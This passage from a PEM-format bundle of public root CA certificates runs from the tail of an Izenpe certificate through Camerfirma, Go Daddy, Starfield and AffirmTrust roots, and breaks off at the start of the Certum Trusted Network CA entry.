leStTIo+F5HUsWLlguWABKQDfo2/2n+iD5dPDNMN+9fR5XJ+HMh3/1uaD7euBUbl8agW7EekFwID
AQABo4H2MIHzMIGwBgNVHREEgagwgaWBD2luZm9AaXplbnBlLmNvbaSBkTCBjjFHMEUGA1UECgw+
SVpFTlBFIFMuQS4gLSBDSUYgQTAxMzM3MjYwLVJNZXJjLlZpdG9yaWEtR2FzdGVpeiBUMTA1NSBG
NjIgUzgxQzBBBgNVBAkMOkF2ZGEgZGVsIE1lZGl0ZXJyYW5lbyBFdG9yYmlkZWEgMTQgLSAwMTAx
MCBWaXRvcmlhLUdhc3RlaXowDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFB0cZQ6o8iV7tJHP5LGx5r1VdGwFMA0GCSqGSIb3DQEBCwUAA4ICAQB4pgwWSp9MiDrAyw6l
Fn2fuUhfGI8NYjb2zRlrrKvV9pF9rnHzP7MOeIWblaQnIUdCSnxIOvVFfLMMjlF4rJUT3sb9fbga
kEyrkgPH7UIBzg/YsfqikuFgba56awmqxinuaElnMIAkejEWOVt+8Rwu3WwJrfIxwYJOubv5vr8q
hT/AQKM6WfxZSzwoJNu0FXWuDYi6LnPAvViH5ULy617uHjAimcs30cQhbIHsvm0m5hzkQiCeR7Cs
g1lwLDXWrzY0tM07+DKo7+N4ifuNRSzanLh+QBxh5z6ikixL8s36mLYp//Pye6kfLqCTVyvehQP5
aTfLnnhqBbTFMXiJ7HqnheG5ezzevh55hM6fcA5ZwjUukCox2eRFekGkLhObNA5me0mrZJfQRsN5
nXJQY6aYWwa9SG3YOYNw6DXwBdGqvOPbyALqfP2C2sJbUjWumDqtujWTI6cfSN01RpiyEGjkpTHC
ClguGYEQyVB1/OpaFs4R1+7vUIgtYf8/QnMFlEPVjjxOAToZpR9GTnfQXeWBIiGH/pR9hNiTrdZo
Q0iy2+tzJOeRf1SktoA+naM8THLCV8Sg1Mw4J87VBp6iSNnpn86CcDaTmjvfliHjWbcM2pE38P1Z
WrOZyGlsQyYBNWNgVYkDOnXYukrZVP/u3oDYLdE41V4tC5h9Pmzb/CaIxw==
-----END CERTIFICATE-----

Chambers of Commerce Root - 2008
================================
-----BEGIN CERTIFICATE-----
MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD
MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv
bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu
QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy
Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl
ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF
EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl
cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA
XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj
h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/
ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk
NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g
D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331
lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ
0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj
ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2
EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI
G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ
BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh
bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh
bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC
CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH
AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1
wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH
3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU
RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6
M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1
YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF
9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK
zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG
nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg
OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ
-----END CERTIFICATE-----

Global Chambersign Root - 2008
==============================
-----BEGIN CERTIFICATE-----
MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD
MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv
bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu
QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx
NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg
Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ
QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD
aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf
VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf
XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0
ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB
/gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA
TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M
H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe
Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF
HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh
wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB
AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT
BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE
BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm
aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm
aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp
1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0
dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG
/5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6
ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s
dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg
9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH
foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du
qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr
P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq
c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z
09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B
-----END CERTIFICATE-----

Go Daddy Root Certificate Authority - G2
========================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu
MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G
A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq
9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD
+qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd
fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl
NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9
BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac
vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r
5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV
N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1
-----END CERTIFICATE-----

Starfield Root Certificate Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0
eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw
DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg
VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB
dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv
W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs
bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk
N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf
ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU
JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol
TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx
4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw
F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ
c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
-----END CERTIFICATE-----

Starfield Services Root Certificate Authority - G2
==================================================
-----BEGIN CERTIFICATE-----
MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl
IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV
BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT
dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg
Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2
h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa
hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP
LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB
rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG
SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP
E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy
xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza
YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6
-----END CERTIFICATE-----

AffirmTrust Commercial
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw
MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb
DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV
C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6
BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww
MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV
HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG
hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi
qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv
0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh
sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
-----END CERTIFICATE-----

AffirmTrust Networking
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw
MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE
Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI
dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24
/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb
h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV
HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu
UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6
12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23
WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9
/ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
-----END CERTIFICATE-----

AffirmTrust Premium
===================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy
OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy
dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn
BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV
5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs
+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd
GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R
p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI
S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04
6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5
/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo
+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB
/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv
MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC
6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S
L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK
+4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV
BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg
IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60
g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb
zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw==
-----END CERTIFICATE-----

AffirmTrust Premium ECC
=======================
-----BEGIN CERTIFICATE-----
MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV
BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx
MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U
cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ
N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW
BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X
57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM
eQ==
-----END CERTIFICATE-----

Certum Trusted Network CA
=========================
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK
